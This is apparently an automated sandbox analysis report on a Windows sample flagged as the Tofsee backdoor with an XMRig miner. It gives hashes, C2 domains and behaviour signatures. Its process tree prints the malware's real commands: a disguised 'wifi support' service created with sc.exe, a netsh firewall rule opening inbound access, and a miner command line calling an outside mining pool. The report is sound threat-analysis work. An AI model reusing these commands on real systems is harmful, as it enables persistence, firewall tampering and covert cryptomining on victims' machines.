Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/12/2022, 00:56

General

  • Target

    file.exe

  • Size

    229KB

  • MD5

    4ec4ca75d88065b4a51960377896225d

  • SHA1

    4ecf413d7a07f5b19b8c9fb94f6d566aeb6ea892

  • SHA256

    fc52bea2541a28755b3517029290cc1755eae23c5a686dfa2e5810a3861a64ba

  • SHA512

    f4adcef54edeab83a71a8ac2152a6d912903c9e4c0fdb20c9e81a3e688d4d81774abbb7720fd34ecc6cf72a24fc0b1bab408282ba965cc08480fb1896da02232

  • SSDEEP

    3072:Kf4hR4ILJNDn5PsxFLOkwK2xXH1uKrt3oHVjLpt5os+V+Y700:PhSILL0OlK2d1uKZYHZH5os+Vl7l

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4284
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ffopzdr\
      2⤵
        PID:2784
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\auweauat.exe" C:\Windows\SysWOW64\ffopzdr\
        2⤵
          PID:3620
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ffopzdr binPath= "C:\Windows\SysWOW64\ffopzdr\auweauat.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4380
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ffopzdr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2556
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ffopzdr
          2⤵
          • Launches sc.exe
          PID:3784
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3888
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 1040
          2⤵
          • Program crash
          PID:820
      • C:\Windows\SysWOW64\ffopzdr\auweauat.exe
        C:\Windows\SysWOW64\ffopzdr\auweauat.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3756
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3900
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2056
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3756 -s 512
          2⤵
          • Program crash
          PID:3952
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4284 -ip 4284
        1⤵
          PID:4752
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3756 -ip 3756
          1⤵
            PID:3748

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\auweauat.exe

            Filesize

            13.0MB

            MD5

            804ac0c8d44ee54da98ea98a11b051a1

            SHA1

            f16ea49a24c5367d29098f0513943c1955cbddd9

            SHA256

            31e0deb7a80219098a53ea8e2408406b1b1b2c1d124cedc7e0b870c38890300a

            SHA512

            315789558dd343202ee564eed85ff994f09ac6543cd8291e8aee2b6105aae3162fdff7a87e1a217f8e264edba9aa8025d637c852ff408bf0ae8407199ada1ba0

          • C:\Windows\SysWOW64\ffopzdr\auweauat.exe

            Filesize

            13.0MB

            MD5

            804ac0c8d44ee54da98ea98a11b051a1

            SHA1

            f16ea49a24c5367d29098f0513943c1955cbddd9

            SHA256

            31e0deb7a80219098a53ea8e2408406b1b1b2c1d124cedc7e0b870c38890300a

            SHA512

            315789558dd343202ee564eed85ff994f09ac6543cd8291e8aee2b6105aae3162fdff7a87e1a217f8e264edba9aa8025d637c852ff408bf0ae8407199ada1ba0

          • memory/2056-178-0x00000000012E0000-0x00000000013D1000-memory.dmp

            Filesize

            964KB

          • memory/2056-173-0x00000000012E0000-0x00000000013D1000-memory.dmp

            Filesize

            964KB

          • memory/3756-146-0x0000000000698000-0x00000000006A8000-memory.dmp

            Filesize

            64KB

          • memory/3756-148-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/3756-151-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/3900-166-0x0000000007940000-0x0000000007D4B000-memory.dmp

            Filesize

            4.0MB

          • memory/3900-163-0x0000000002FD0000-0x0000000002FD5000-memory.dmp

            Filesize

            20KB

          • memory/3900-147-0x0000000000BB0000-0x0000000000BC5000-memory.dmp

            Filesize

            84KB

          • memory/3900-169-0x0000000002FE0000-0x0000000002FE7000-memory.dmp

            Filesize

            28KB

          • memory/3900-152-0x0000000000BB0000-0x0000000000BC5000-memory.dmp

            Filesize

            84KB

          • memory/3900-153-0x0000000000BB0000-0x0000000000BC5000-memory.dmp

            Filesize

            84KB

          • memory/3900-154-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/3900-157-0x0000000002120000-0x0000000002126000-memory.dmp

            Filesize

            24KB

          • memory/3900-160-0x0000000002130000-0x0000000002140000-memory.dmp

            Filesize

            64KB

          • memory/4284-132-0x000000000060D000-0x000000000061E000-memory.dmp

            Filesize

            68KB

          • memory/4284-143-0x000000000060D000-0x000000000061E000-memory.dmp

            Filesize

            68KB

          • memory/4284-144-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/4284-134-0x0000000000400000-0x000000000045D000-memory.dmp

            Filesize

            372KB

          • memory/4284-133-0x0000000002190000-0x00000000021A3000-memory.dmp

            Filesize

            76KB